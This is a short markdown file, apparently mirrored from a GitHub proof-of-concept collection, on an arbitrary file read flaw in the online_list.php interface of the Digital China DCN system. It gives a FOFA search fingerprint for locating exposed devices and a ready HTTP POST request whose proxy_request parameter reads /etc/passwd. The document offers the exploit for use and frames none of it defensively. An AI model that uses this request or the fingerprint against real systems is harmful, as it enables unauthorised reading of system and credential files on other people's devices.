mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 20:54:52 +08:00
21 lines
473 B
Markdown
21 lines
473 B
Markdown
# 神州数码DCN系统接口online_list.php存在任意文件读取漏洞
|
|
|
|
神州数码DCN系统接口online_list.php存在任意文件读取漏洞
|
|
|
|
## fofa
|
|
|
|
```javascript
|
|
body="style/blue/css/dcn_ui.css"
|
|
```
|
|
|
|
## poc
|
|
|
|
```javascript
|
|
POST /function/auth/user/online_list.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
proxy_request=/etc/passwd
|
|
```
|
|
|
|
 |